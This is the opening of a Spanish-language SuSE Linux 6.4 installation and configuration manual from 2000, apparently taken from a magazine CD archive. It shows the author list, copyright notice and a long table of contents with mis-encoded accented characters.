home *** CD-ROM | disk | FTP | other *** search
/ Chip 2000 May / Chip_2000-05_cd2.bin / docu / ascii / suselxes.txt next >
Text File  |  2000-03-25  |  2MB  |  34,860 lines

  1. Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff,
  2. Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter,
  3. Jⁿrgen Geck, Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek,
  4. Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn,
  5. Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart,
  6. Marc Rⁿhrschneck, Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild, Gabriele
  7. Strattner, J÷rg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber,
  8. Michael Weyrauch, Stefan Wintermeyer, Christian Zoz
  9.  
  10.  
  11.  
  12. SuSE                    Linux   6.4
  13.  
  14.  
  15. Instalaci≤n,   Configuraci≤n   y   primeros
  16.  
  17. pasos
  18.  
  19.  
  20.                                                    SuSE   GmbH
  21.                                                    SchanzΣckerstr. 10
  22.                                                    D-90443 Nⁿrnberg
  23.                                                    Tel.:                 +49 9 11 / 7 40 53 31       (Ventas)
  24.                                                    apartado H.2.1)
  25.                                                    Fax.:                 +49 9 11 / 7 41 77 55       (Ventas)
  26.                                                    E-Mail:               suse@suse.de
  27.                                                    WWW:                  http://www.suse.de
  28. Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle,
  29. Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jⁿrgen Geck,
  30. Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek, Florian La Roche,
  31. Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio,
  32. Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rⁿhrschneck,
  33. Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild, Gabriele Strattner, J÷rg Strebel, Steve
  34. Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch,
  35. Stefan Wintermeyer, Christian Zoz
  36.  
  37. Instalaci≤n, Configuraci≤n y primeros pasos con SuSE    Linux  6.4
  38. 17. Edici≤n actualizada 2000
  39. SuSE    GmbH
  40. ISBN 3-934678-07-6 (Manual y CDs)
  41.  
  42. Copyright
  43.  
  44. Esta obra es propiedad intelectual de SuSE       GmbH.
  45.  
  46. Se permite la copia de este trabajo ya sea de forma completa o bien en forma de
  47.  
  48. extractos, bajo la condici≤n que cada copia estΘ acompa±ada de esta nota de
  49.  
  50. Copyright.
  51.  
  52. Satz: ALTE X
  53.  
  54. Dise±o de portada con un grßfico de Stephan Endra▀.
  55.  
  56. Linux es una marca registrada de Linus Torvalds.  XFree86 TM    es una marca
  57.  
  58. registrada de The XFree86 Project, Inc.  MS-DOS, Windows, Windows 95,
  59.  
  60. Windows 98 y Windows NT  son marcas registradas de Microsoft Corporation.
  61.  
  62. UNIX  es una marca registrada de X/Open Company Limited.  Otras marcas
  63.  
  64. registradas son:  Clipper de Computer Associates, dBASE de Borland, Foxbase
  65.  
  66. de Microsoft, Compuserve, T-Online de Deutsche Telekom, SuSE        y YaST  de
  67.  
  68. SuSE      GmbH . Otros productos mencionados en este manual tambiΘn pueden ser
  69.  
  70. marcas registradas de sus respectivos fabricantes sin menci≤n explφcita de ello.
  71.  
  72.  
  73.  
  74. ISBN  3-934678-07-6  (Manual  y  CDs)
  75.  
  76.  
  77.  
  78.  
  79.                                                                                   ═ndice   General
  80.  
  81. I     Prefacio                                                                                        1
  82.  
  83.  
  84. 1     Introducci≤n                                                                                     3
  85.  
  86.       1.1      ┐QuΘ es ''Linux''?           .       .       .       .       .       .       .            4
  87.  
  88.       1.2      Intenci≤n del libro y consejos para su uso        .       .       .            5
  89.  
  90.       1.3      La leyenda ~ o lo que significa ''tierra:   #  ls''          .            6
  91.  
  92.       1.4      La lucha con la cantidad de pßginas         .       .       .       .            7
  93.  
  94.               1.4.1       Banco de datos de soporte           .       .       .       .            8
  95.  
  96.               1.4.2       Ayuda en hipertexto            .       .       .       .       .            8
  97.  
  98.               1.4.3       Texinfo e Info     .       .       .       .       .       .       .            8
  99.  
  100.               1.4.4       Manuales de Unix (''Manual-Pages'')          .       .            8
  101.  
  102.               1.4.5       Los ficheros FAQ-, HowTo- y README     .       .            9
  103.  
  104.               1.4.6       Libros gratuitos          .       .       .       .       .       .          10
  105.  
  106.       1.5      MΘritos          .       .       .       .       .       .       .       .       .          10
  107. II     Instalaci≤n SuSE        Linux                                                        15
  108.  
  109.  
  110. 2     La primera instalaci≤n de SuSE      Linux                                           17
  111.  
  112.       2.1      íDirecto al Θxito!    .       .       .       .       .       .       .       .          17
  113.  
  114.               2.1.1       Preparativos breves     .       .       .       .       .       .          17
  115.  
  116.               2.1.2       A continuaci≤n: La pantalla de bienvenida          .          18
  117.  
  118.               2.1.3       íAllφ estß: YaST2 !      .       .       .       .       .       .          19
  119.  
  120.               2.1.4       Selecci≤n del idioma           .       .       .       .       .          20
  121.  
  122.               2.1.5       Selecci≤n del mouse           .       .       .       .       .          20
  123.  
  124.               2.1.6       Determinar el teclado y zona horaria           .       .          21
  125.  
  126.               2.1.7       ┐Instalaci≤n nueva o Actualizaci≤n?            .       .          21
  127.  
  128.               2.1.8       Preparar el disco duro         .       .       .       .       .          21
  129.  
  130.               2.1.9       Selecci≤n del software        .       .       .       .       .          22
  131.  
  132.  
  133.                                                                                                                                    *
  134.  *       i
  135. ═ndice General    _________________________________________________________________________________________________________________*
  136.  *_______________________________________@
  137.  
  138.  
  139.                                          2.1.10      LILO  ~ Gestor de arranque         .       .       .       .          24
  140.                                          2.1.11      Informaci≤n de usuario       .       .       .       .       .          25
  141.  
  142.                                          2.1.12      Establecer contrase±a de `root'        .       .       .          26
  143.  
  144.                                          2.1.13      Confirmaci≤n e inicio de la instalaci≤n        .       .          26
  145.  
  146.                                          2.1.14      Preparaci≤n del entorno grßfico           .       .       .          27
  147.  
  148.                                          2.1.15      Configurar hardware adicional    .       .       .       .          27
  149.  
  150.                                          2.1.16      Primer ''login'' al sistema            .       .       .       .          28
  151.  
  152.                                          2.1.17      Configuraciones adicionales y trabajo con el sistema       28
  153.  
  154.                                  2.2      Instalaci≤n con YaST  en modo texto (YaST  1)        .       .          30
  155.  
  156.                                          2.2.1       La situaci≤n principal         .       .       .       .       .          30
  157.  
  158.                                          2.2.2       A continuaci≤n: La pantalla de bienvenida          .          30
  159.  
  160.                                          2.2.3       La base: linuxrc          .       .       .       .       .       .          31
  161.  
  162.                                          2.2.4       Arrancar YaST            .       .       .       .       .       .          35
  163.  
  164.                                          2.2.5       Particionar y formatear el disco duro           .       .          36
  165.  
  166.                                          2.2.6       Comenzar la instalaci≤n del software          .       .          37
  167.  
  168.                                          2.2.7       Elecci≤n del software bßsico       .       .       .       .          38
  169.  
  170.                                          2.2.8       Instalaci≤n de software       .       .       .       .       .          39
  171.  
  172.                                          2.2.9       Seleccionar kernel      .       .       .       .       .       .          40
  173.  
  174.                                          2.2.10      Configuraci≤n bßsica con YaST           .       .       .          41
  175.  
  176.                                          2.2.11      Entrar al sistema despuΘs de la primera instalaci≤n         45
  177.  
  178.                                  2.3      ┐C≤mo se debe arrancar Linux?      .       .       .       .       .          47
  179.  
  180.                                  2.4      Instalaci≤n sin soporte del lector CD-ROM      .       .       .          49
  181.  
  182.                                          2.4.1       Instalaci≤n desde una partici≤n DOS           .       .          49
  183.  
  184.                                          2.4.2       Instalaci≤n desde una fuente en la ''red''      .       .          51
  185.  
  186.                                  2.5      Otra vφa de instalaci≤n: Con setup y loadlin     .       .       .          53
  187.  
  188.                                          2.5.1       Activar modo DOS de Windows 95     .       .       .          53
  189.  
  190.                                          2.5.2       Arrancar Setup y su primera parte       .       .       .          53
  191.  
  192.                                          2.5.3       ┐C≤mo se arranca el Linux originario desde setup ?         54
  193.  
  194.                                          2.5.4       Instalar loadlin y arrancar Linux originario          .          54
  195.  
  196.                                  2.6      Bloques de informaci≤n          .       .       .       .       .       .          57
  197.  
  198.                                          2.6.1       Hacer espacio para Linux (particionar)        .       .          57
  199.  
  200.                                          2.6.2       Arrancar con el CD 2          .       .       .       .       .          59
  201.  
  202.                                          2.6.3       Crear un disquete de arranque bajo DOS     .       .          59
  203.  
  204.                                          2.6.4       Crear un disquete de arranque bajo Unix     .       .          61
  205.  
  206.                                          2.6.5       ┐Linux soporta mi lector CD-ROM?            .       .          61
  207.  
  208.                                  2.7      Descripci≤n de problemas       .       .       .       .       .       .          63
  209.  
  210.                                          2.7.1       Ficheros inamovibles          .       .       .       .       .          63
  211.  
  212.                                          2.7.2       La distribuci≤n del teclado en modo MS-DOS no es
  213.                                                      correcta      .       .       .       .       .       .       .       .       *
  214.  *   63
  215.  
  216.                                          2.7.3       No hay driver de CD-ROM en modo MS-DOS               63
  217.  
  218.  
  219. ii
  220.        _____________________________________________________________________________________________________________═ndice_General_*
  221.  *______________________
  222.  
  223.  
  224.               2.7.4       El CD es defectuoso           .       .       .       .       .          64
  225.               2.7.5       Un lector CD-ROM ATAPI se traba leyendo        .          64
  226.  
  227.               2.7.6       Lectores CD-ROM en el puerto paralelo      .       .          65
  228.  
  229.               2.7.7       Lectores CD-ROM ''propietarios''       .       .       .          65
  230.  
  231.               2.7.8       Thinkpad ''se duerme'' durante la instalaci≤n       .          66
  232.  
  233.               2.7.9       loadlin necesita mßs memoria para cargar el kernel         66
  234.  
  235.               2.7.10      loadlin no funciona     .       .       .       .       .       .          66
  236.  
  237.               2.7.11      DOS se encuentra en modo protegido          .       .          66
  238.  
  239.               2.7.12      Letra de unidad del lector CD-ROM            .       .          67
  240.  
  241.               2.7.13      Problemas generales de hardware        .       .       .          67
  242.  
  243.       2.8      Particionar para principiantes          .       .       .       .       .          70
  244.  
  245.       2.9      Particionar para avanzados      .       .       .       .       .       .          71
  246.  
  247.               2.9.1       El tama±o de la partici≤n de intercambio (swap)             72
  248.  
  249.               2.9.2       Formas de uso de la computadora        .       .       .          73
  250.  
  251.               2.9.3       Posibilidades de optimizaci≤n     .       .       .       .          74
  252.  
  253.       2.10     Configuraci≤n manual del disco duro      .       .       .       .          77
  254.  
  255.               2.10.1      Establecer particiones         .       .       .       .       .          77
  256.  
  257.               2.10.2      Fijar sistemas de fichero y ''Mountpoints''           .          79
  258.  
  259.  
  260. 3     YaST  ~ Yet another Setup Tool                                                       83
  261.  
  262.       3.1      Uso y distribuci≤n de teclado          .       .       .       .       .          83
  263.  
  264.       3.2      El men· principal de YaST      .       .       .       .       .       .          83
  265.  
  266.       3.3      Ajustes de la instalaci≤n         .       .       .       .       .       .          84
  267.  
  268.               3.3.1       Definir el idioma        .       .       .       .       .       .          84
  269.  
  270.               3.3.2       Distribuci≤n de teclado       .       .       .       .       .          85
  271.  
  272.               3.3.3       El medio de instalaci≤n       .       .       .       .       .          85
  273.  
  274.               3.3.4       Instalaci≤n desde CD-ROM        .       .       .       .          86
  275.  
  276.               3.3.5       Instalaci≤n desde una partici≤n del disco duro     .          86
  277.  
  278.               3.3.6       Instalaci≤n vφa NFS    .       .       .       .       .       .          86
  279.  
  280.               3.3.7       Instalaci≤n desde una partici≤n           .       .       .          88
  281.  
  282.               3.3.8       Instalaci≤n vφa FTP     .       .       .       .       .       .          88
  283.  
  284.       3.4      Particionar disco(s) duro(s)     .       .       .       .       .       .          90
  285.  
  286.               3.4.1       Establecer partici≤n/sistema de ficheros destino              91
  287.  
  288.               3.4.2       Configurar el Logical Volume Manager       .       .          95
  289.  
  290.               3.4.3       Instalaci≤n dentro de un directorio      .       .       .          95
  291.  
  292.       3.5      Escoger / Instalar paquetes      .       .       .       .       .       .          96
  293.  
  294.               3.5.1       Cargar configuraci≤n          .       .       .       .       .          96
  295.  
  296.               3.5.2       Salvar configuraci≤n           .       .       .       .       .          97
  297.  
  298.               3.5.3       Cambiar / Crear configuraci≤n    .       .       .       .          97
  299.  
  300.               3.5.4       ┐QuΘ pasarφa si...?       .       .       .       .       .       .          99
  301.  
  302.  
  303.                                                                                                                                    *
  304.  *     iii
  305. ═ndice General    _________________________________________________________________________________________________________________*
  306.  *_______________________________________@
  307.  
  308.  
  309.                                          3.5.5       Empezar instalaci≤n           .       .       .       .       .          99
  310.                                          3.5.6       Comprobar las dependencias       .       .       .       .          99
  311.  
  312.                                          3.5.7       Listado de las series y paquetes           .       .       .        100
  313.  
  314.                                          3.5.8       Informaci≤n sobre paquetes        .       .       .       .        100
  315.  
  316.                                          3.5.9       Instalar paquetes         .       .       .       .       .       .        100
  317.  
  318.                                          3.5.10      Eliminar/Borrar paquetes            .       .       .       .        101
  319.  
  320.                                  3.6      Actualizar el sistema       .       .       .       .       .       .       .        102
  321.  
  322.                                  3.7      Administraci≤n del sistema     .       .       .       .       .       .        102
  323.  
  324.                                          3.7.1       Instalar hardware en el sistema            .       .       .        102
  325.  
  326.                                          3.7.2       Configuraci≤n del kernel y arranque            .       .        105
  327.  
  328.                                          3.7.3       Configuraci≤n de red          .       .       .       .       .        108
  329.  
  330.                                          3.7.4       Configurar sistema Live      .       .       .       .       .        110
  331.  
  332.                                          3.7.5       Configuraci≤n del Login     .       .       .       .       .        111
  333.  
  334.                                          3.7.6       Opciones susewm       .       .       .       .       .       .        111
  335.  
  336.                                          3.7.7       Administraci≤n de usuarios         .       .       .       .        112
  337.  
  338.                                          3.7.8       Administraci≤n de grupos           .       .       .       .        114
  339.  
  340.                                          3.7.9       Crear respaldos/backups     .       .       .       .       .        115
  341.  
  342.                                          3.7.10      Configuraciones de seguridad      .       .       .       .        116
  343.  
  344.                                          3.7.11      Configurar XFree86[tm]     .       .       .       .       .        116
  345.  
  346.                                          3.7.12      Cambiar fichero de configuraci≤n        .       .       .        116
  347.  
  348.  
  349.                            4     Arrancar y gestor de arranque                                                     119
  350.  
  351.                                  4.1      El proceso de arranque en un PC     .       .       .       .       .        119
  352.  
  353.                                  4.2      Conceptos de arranque            .       .       .       .       .       .        120
  354.  
  355.                                  4.3      Resumen de LILO           .       .       .       .       .       .       .        122
  356.  
  357.                                  4.4      LILO  α la carte: La configuraci≤n           .       .       .       .        125
  358.  
  359.                                          4.4.1       El contenido del fichero lilo.conf                   .       .        125
  360.  
  361.                                          4.4.2       Otras opciones de configuraci≤n (Selecci≤n)        .        128
  362.  
  363.                                  4.5      Instalaci≤n y desinstalaci≤n de LILO       .       .       .       .        131
  364.  
  365.                                  4.6      Generar disquete de arranque de Linux            .       .       .        133
  366.  
  367.                                  4.7      Ejemplos de Configuraciones          .       .       .       .       .        135
  368.  
  369.                                          4.7.1       DOS/Windows 95/98 y Linux     .       .       .       .        135
  370.  
  371.                                          4.7.2       Windows NT y Linux en un disco duro        .       .        136
  372.  
  373.                                          4.7.3       OS/2 y Linux      .       .       .       .       .       .       .        137
  374.  
  375.                                          4.7.4       DOS, OS/2 y Linux    .       .       .       .       .       .        138
  376.  
  377.                                  4.8      Problemas con LILO       .       .       .       .       .       .       .        138
  378.  
  379.                                          4.8.1       Diagn≤stico de errores: Mensajes de inicio de LILO      139
  380.  
  381.                                          4.8.2       El lφmite de 1024 cilindros          .       .       .       .        140
  382.  
  383.                                          4.8.3       Problemas  especiales  de  arranque  con  el  kernel  a
  384.                                                      partir de 2.0        .       .       .       .       .       .       .        *
  385.  *141
  386.  
  387.  
  388. iv
  389.        _____________________________________________________________________________________________________________═ndice_General_*
  390.  *______________________
  391.  
  392.  
  393.       4.9      Configuraci≤n del mecanismo de arranque con loadlin     .        143
  394.               4.9.1       Ficheros necesarios para loadlin           .       .       .        144
  395.  
  396.               4.9.2       Personalizar men·s de arranque          .       .       .        145
  397.  
  398.               4.9.3       Iniciar Linux desde Windows      .       .       .       .        147
  399.  
  400.               4.9.4       El men· de arranque de Windows       .       .       .        147
  401. III     Configuraci≤n de red                                                         151
  402.  
  403.  
  404. 5     Linux en la red                                                                             153
  405.  
  406.       5.1      Configuraci≤n con YaST         .       .       .       .       .       .        156
  407.  
  408.       5.2      Configuraci≤n manual de la red ~ ┐D≤nde tocar?     .       .        157
  409.  
  410.               5.2.1       Ficheros de configuraci≤n           .       .       .       .        158
  411.  
  412.               5.2.2       Scripts de arranque (Startup-Sripts)     .       .       .        163
  413.  
  414.       5.3      Routing en SuSE     Linux          .       .       .       .       .       .        165
  415.  
  416.       5.4      NIS, las pßginas amarillas del LAN         .       .       .       .        166
  417.  
  418.               5.4.1       ┐QuΘ es NIS?     .       .       .       .       .       .       .        166
  419.  
  420.               5.4.2       Configuraci≤n de un cliente NIS          .       .       .        166
  421.  
  422.               5.4.3       Servidor NIS-Master y Slave       .       .       .       .        168
  423.  
  424.       5.5      NFS ~ sistemas de ficheros distribuidos           .       .       .        168
  425.  
  426.               5.5.1       Importar sistemas de ficheros      .       .       .       .        168
  427.  
  428.               5.5.2       Exportar sistemas de ficheros      .       .       .       .        168
  429.  
  430.  
  431. 6     Conectarse con el mundo ~ RDSI, PPP, Fax. . .                               171
  432.  
  433.       6.1      PPP        .       .       .       .       .       .       .       .       .       .        172
  434.  
  435.               6.1.1       Requisitos para PPP            .       .       .       .       .        172
  436.  
  437.               6.1.2       Informaci≤n adicional sobre PPP         .       .       .        172
  438.  
  439.       6.2      Acceso a Internet vφa RDSI ~ la configuraci≤n         .       .        173
  440.  
  441.               6.2.1       Configurar RDSI ~ paso por paso        .       .       .        174
  442.  
  443.               6.2.2       Introducci≤n       .       .       .       .       .       .       .        175
  444.  
  445.               6.2.3       Configuraci≤n del hardware RDSI       .       .       .        175
  446.  
  447.               6.2.4       Configuraci≤n del hardware RDSI con YaST        .        176
  448.  
  449.               6.2.5       Configuraci≤n de acceso a Internet vφa RDSI       .        180
  450.  
  451.               6.2.6       Mensaje RDSI            .       .       .       .       .       .        184
  452.  
  453.       6.3      Modem cable         .       .       .       .       .       .       .       .        188
  454.  
  455.               6.3.1       Principios           .       .       .       .       .       .       .        188
  456.  
  457.       6.4      T-DSL, T-ISDN-DSL, ADSL. . .       .       .       .       .       .        189
  458.  
  459.       6.5      Conexi≤n de modem       .       .       .       .       .       .       .        189
  460.  
  461.       6.6      Con el modem a Internet: PPP con wvdial       .       .       .        190
  462.  
  463.               6.6.1       Configuraci≤n de wvdial      .       .       .       .       .        190
  464.  
  465.  
  466.                                                                                                                                    *
  467.  *      v
  468. ═ndice General    _________________________________________________________________________________________________________________*
  469.  *_______________________________________@
  470.  
  471.  
  472.                                          6.6.2       Configurar varios proveedores con wvdial            .        193
  473.                                          6.6.3       Adaptadores de terminal para RDSI    .       .       .        194
  474.  
  475.  
  476.                                          6.6.4       Configuraci≤n de modems PCI            .       .       .        196
  477.  
  478.                                          6.6.5       Configuraci≤n manual de PPP para ''profesionales''       197
  479.  
  480.                                  6.7      Masquerading y Firewall ~ amigos y ''amiguetes''            .        201
  481.  
  482.                                          6.7.1       Fundamentos de ''Masquerading''        .       .       .        201
  483.  
  484.                                          6.7.2       Principios de un cortafuegos       .       .       .       .        202
  485.  
  486.                                          6.7.3       Configuraci≤n de Masquerading y/o Firewall       .        202
  487.  
  488.                                  6.8      Vamos a escribir ~ Configuraci≤n de sendmail         .       .        204
  489.  
  490.                                  6.9      News: Las noticias mßs actuales de USENET          .       .        207
  491.  
  492.                                          6.9.1       El sistema de noticias Leafnode           .       .       .        207
  493.  
  494.                                  6.10     Linux + Fax: íUna buena combinaci≤n!          .       .       .        209
  495.  
  496.                                          6.10.1      SuSEFax ~ Un cliente para HylaFAX          .       .        210
  497.  
  498.                                          6.10.2      Generaci≤n automßtica de portada       .       .       .        218
  499.  
  500.                                          6.10.3      Fax-Spooling en UNIX /Linux     .       .       .       .        219
  501.  
  502.                                          6.10.4      HylaFAX  ~ Gesti≤n distribuida de faxes      .       .        220
  503.  
  504.  
  505.  
  506.                            7     Bailemos samba. . .                                                                         227
  507.  
  508.                                  7.1      Introducci≤n           .       .       .       .       .       .       .       .        2*
  509.  *27
  510.  
  511.                                  7.2      Instalaci≤n del servidor           .       .       .       .       .       .        229
  512.  
  513.                                  7.3      Instalaci≤n de los clientes       .       .       .       .       .       .        232
  514.  
  515.                                  7.4      Optimizaci≤n          .       .       .       .       .       .       .       .        232
  516.                            IV     El sistema X Window                                                        235
  517.  
  518.  
  519.  
  520.                            8     El sistema X Window                                                                    237
  521.  
  522.                                  8.1      Configuraci≤n con SaX           .       .       .       .       .       .        238
  523.  
  524.                                          8.1.1       Primera instalaci≤n     .       .       .       .       .       .        238
  525.  
  526.                                          8.1.2       Reconfiguraci≤n         .       .       .       .       .       .        246
  527.  
  528.                                          8.1.3       Resoluci≤n de problemas    .       .       .       .       .        246
  529.  
  530.                                          8.1.4       Inicio del sistema X Window      .       .       .       .        247
  531.  
  532.                                          8.1.5       Configuraci≤n  de  la  tarjeta  grßfica:   Problemas  y
  533.                                                      soluciones          .       .       .       .       .       .       .        2*
  534.  *47
  535.  
  536.                                  8.2      Configuraci≤n con xf86config      .       .       .       .       .        248
  537.  
  538.                                  8.3      Optimizaci≤n de la instalaci≤n del sistema X Window      .        256
  539.  
  540.  
  541. vi
  542.        _____________________________________________________________________________________________________________═ndice_General_*
  543.  *______________________
  544.  
  545.  
  546. 9     El Windowmanager ~ La ventana a su PC                                    261
  547.       9.1      Teorφa sobre el entorno grßfico        .       .       .       .       .        261
  548.  
  549.               9.1.1       Estructura del sistema X Window        .       .       .        261
  550.  
  551.               9.1.2       ┐QuΘ administra el ''windowmanager''?       .       .        264
  552.  
  553.               9.1.3       Iniciar los distintos gestores de ventana       .       .        265
  554.  
  555.       9.2      KDE  ~ K Desktop Environment      .       .       .       .       .        266
  556.  
  557.               9.2.1       Generalidades     .       .       .       .       .       .       .        267
  558.  
  559.               9.2.2       kdm ~ ''login'' grßfico         .       .       .       .       .        268
  560.  
  561.               9.2.3       ┐QuΘ es lo fabuloso del KDE?     .       .       .       .        268
  562.  
  563.       9.3      El Fvwm         .       .       .       .       .       .       .       .       .        271
  564.  
  565.       9.4      Ajustes del Fvwm           .       .       .       .       .       .       .        273
  566.  
  567.               9.4.1       Autoraise           .       .       .       .       .       .       .        276
  568.  
  569.       9.5      Configuraci≤n del windowmanager con SuSEwm             .        277
  570.  
  571.               9.5.1       A±adir opciones al men·     .       .       .       .       .        278
  572.  
  573.       9.6      Configuraci≤n general del sistema X Window          .       .        281
  574. V     Hardware bajo Linux                                                         285
  575.  
  576.  
  577. 10    Linux y el hardware adicional                                                       287
  578.  
  579.       10.1     Introducci≤n           .       .       .       .       .       .       .       .        287
  580.  
  581.       10.2     Tarjetas de expansi≤n      .       .       .       .       .       .       .        287
  582.  
  583.               10.2.1      Tarjetas ISA y PCI      .       .       .       .       .       .        287
  584.  
  585.       10.3     Tarjetas de sonido           .       .       .       .       .       .       .        290
  586.  
  587.               10.3.1      OSS y versiones de demostraci≤n de OSS           .        291
  588.  
  589.               10.3.2      ┐C≤mo se configuran las tarjetas de sonido bajo Lin-
  590.                           ux?     .       .       .       .       .       .       .       .       .        291
  591.  
  592.       10.4     Las interfaces de la computadora     .       .       .       .       .        299
  593.  
  594.               10.4.1      Conexiones PS/2        .       .       .       .       .       .        300
  595.  
  596.               10.4.2      Conexiones de puerto serie         .       .       .       .        300
  597.  
  598.               10.4.3      Conexiones de puerto paralelo     .       .       .       .        300
  599.  
  600.               10.4.4      USB ~ Universal Serial Bus        .       .       .       .        302
  601.  
  602.       10.5     Unidades de almacenamiento removibles        .       .       .        302
  603.  
  604.               10.5.1      Disqueteras        .       .       .       .       .       .       .        302
  605.  
  606.               10.5.2      Disqueteras LS-120    .       .       .       .       .       .        302
  607.  
  608.               10.5.3      Disqueteras ZIP          .       .       .       .       .       .        303
  609.  
  610.       10.6     Modems         .       .       .       .       .       .       .       .       .        304
  611.  
  612.               10.6.1      Modem externo          .       .       .       .       .       .        304
  613.  
  614.               10.6.2      Modem interno           .       .       .       .       .       .        304
  615.  
  616.       10.7     Escßner          .       .       .       .       .       .       .       .       .        305
  617.  
  618.       10.8     Cintas / Streamer            .       .       .       .       .       .       .        307
  619.  
  620.       10.9     Tarjetas TV    .       .       .       .       .       .       .       .       .        308
  621.  
  622.  
  623.                                                                                                                                    *
  624.  *    vii
  625. ═ndice General    _________________________________________________________________________________________________________________*
  626.  *_______________________________________@
  627.  
  628.  
  629.                            11    Portßtiles ~ PCMCIA, APM, IrDA                                                309
  630.                                  11.1     PCMCIA        .       .       .       .       .       .       .       .       .        309
  631.  
  632.                                          11.1.1      El hardware        .       .       .       .       .       .       .        309
  633.  
  634.                                          11.1.2      El software         .       .       .       .       .       .       .        3*
  635.  *10
  636.  
  637.                                          11.1.3      La configuraci≤n        .       .       .       .       .       .        310
  638.  
  639.                                          11.1.4      Configuraci≤n variable ~ ''Esquemas''         .       .        312
  640.  
  641.                                          11.1.5      En caso de problemas. . .      .       .       .       .       .        315
  642.  
  643.                                          11.1.6      Instalaci≤n vφa PCMCIA     .       .       .       .       .        317
  644.  
  645.                                          11.1.7      Utilidades adicionales         .       .       .       .       .        317
  646.  
  647.                                  11.2     APM ~ Gesti≤n de potencia    .       .       .       .       .       .        318
  648.  
  649.                                          11.2.1      Fundamentos      .       .       .       .       .       .       .        318
  650.  
  651.                                          11.2.2      El kernel correcto       .       .       .       .       .       .        319
  652.  
  653.                                          11.2.3      El daemon APM         .       .       .       .       .       .        319
  654.  
  655.                                          11.2.4      Comandos adicionales        .       .       .       .       .        320
  656.  
  657.                                          11.2.5      Parar el disco duro      .       .       .       .       .       .        320
  658.  
  659.                                  11.3     IrDA ~ Infrared Data Association            .       .       .       .        321
  660.  
  661.  
  662.                            12    Impresoras                                                                                   325
  663.  
  664.                                  12.1     Sinopsis: Interfaces, colas (spooling)       .       .       .       .        325
  665.  
  666.                                          12.1.1      Spooling, colas de impresi≤n       .       .       .       .        326
  667.  
  668.                                  12.2     Colas de impresi≤n: Funcionamiento y configuraci≤n      .        327
  669.  
  670.                                  12.3     Filtros de impresi≤n ~ el ''apsfilter''         .       .       .       .        331
  671.  
  672.                                  12.4     Impresoras de red con apsfilter         .       .       .       .       .        337
  673.  
  674.                                  12.5     Ghostscript     .       .       .       .       .       .       .       .       .        *
  675.  *339
  676.  
  677.                                  12.6     Listado de las impresoras soportadas       .       .       .       .        340
  678.  
  679.                                  12.7     Lista de comprobaci≤n: apsfilter     .       .       .       .       .        345
  680.                            VI     El kernel y sus parßmetros                                              347
  681.  
  682.  
  683.                            13    El kernel                                                                                       349
  684.  
  685.                                  13.1     Las fuentes del kernel     .       .       .       .       .       .       .        349
  686.  
  687.                                  13.2     M≤dulos del kernel         .       .       .       .       .       .       .        350
  688.  
  689.                                  13.3     Configuraci≤n del kernel         .       .       .       .       .       .        352
  690.  
  691.                                  13.4     Ajustes en la configuraci≤n del kernel     .       .       .       .        353
  692.  
  693.                                  13.5     Compilaci≤n del kernel           .       .       .       .       .       .        353
  694.  
  695.                                  13.6     Instalaci≤n del kernel      .       .       .       .       .       .       .        354
  696.  
  697.                                  13.7     Generar un disquete de arranque     .       .       .       .       .        355
  698.  
  699.                                  13.8     Limpieza del disco despuΘs de la compilaci≤n del kernel           355
  700.  
  701.  
  702. viii
  703.        _____________________________________________________________________________________________________________═ndice_General_*
  704.  *______________________
  705.  
  706.  
  707. 14    Parßmetros del kernel                                                                   357
  708.       14.1     Drivers del kernel           .       .       .       .       .       .       .        357
  709.  
  710.       14.2     Algunos consejos           .       .       .       .       .       .       .        358
  711.  
  712.       14.3     Los parßmetros       .       .       .       .       .       .       .       .        359
  713.  
  714.               14.3.1      Anotaci≤n y significado      .       .       .       .       .        359
  715.  
  716.               14.3.2      Parßmetros del kernel en el Boot-Prompt     .       .        360
  717.  
  718.               14.3.3      Lectores CD-ROM en controladora propietaria             370
  719.  
  720.               14.3.4      Parßmetros de modprobe                   .       .       .       .        373
  721. VII     SuSE       Linux:  Actualizaci≤n y particularidades         391
  722.  
  723.  
  724. 15    Actualizaci≤n del sistema ~ Gesti≤n de paquetes                           393
  725.  
  726.       15.1     Actualizaci≤n de SuSE     Linux          .       .       .       .       .        393
  727.  
  728.               15.1.1      Preparativos       .       .       .       .       .       .       .        393
  729.  
  730.               15.1.2      Actualizaci≤n con YaST2            .       .       .       .        394
  731.  
  732.               15.1.3      Actualizaci≤n con YaST1                 .       .       .       .        394
  733.  
  734.               15.1.4      Actualizaci≤n de paquetes especφficos         .       .        396
  735.  
  736.       15.2     De versi≤n a versi≤n       .       .       .       .       .       .       .        396
  737.  
  738.               15.2.1      De versi≤n 4.x a 5.0            .       .       .       .       .        397
  739.  
  740.               15.2.2      De versi≤n 5.0 a 5.1            .       .       .       .       .        397
  741.  
  742.               15.2.3      De versi≤n 5.1 a 5.2            .       .       .       .       .        398
  743.  
  744.               15.2.4      De versi≤n 5.2 a 5.3            .       .       .       .       .        398
  745.  
  746.               15.2.5      De versi≤n 5.3 a 6.0            .       .       .       .       .        399
  747.  
  748.               15.2.6      De versi≤n 6.0 a 6.1            .       .       .       .       .        400
  749.  
  750.               15.2.7      De versi≤n 6.1 a 6.2            .       .       .       .       .        400
  751.  
  752.               15.2.8      De 6.2 a 6.3        .       .       .       .       .       .       .        401
  753.  
  754.               15.2.9      De 6.3 a 6.4        .       .       .       .       .       .       .        403
  755.  
  756.       15.3     RPM ~ El gestor de paquetes          .       .       .       .       .        405
  757.  
  758.               15.3.1      Instalar, actualizar y desinstalar paquetes.            .        405
  759.  
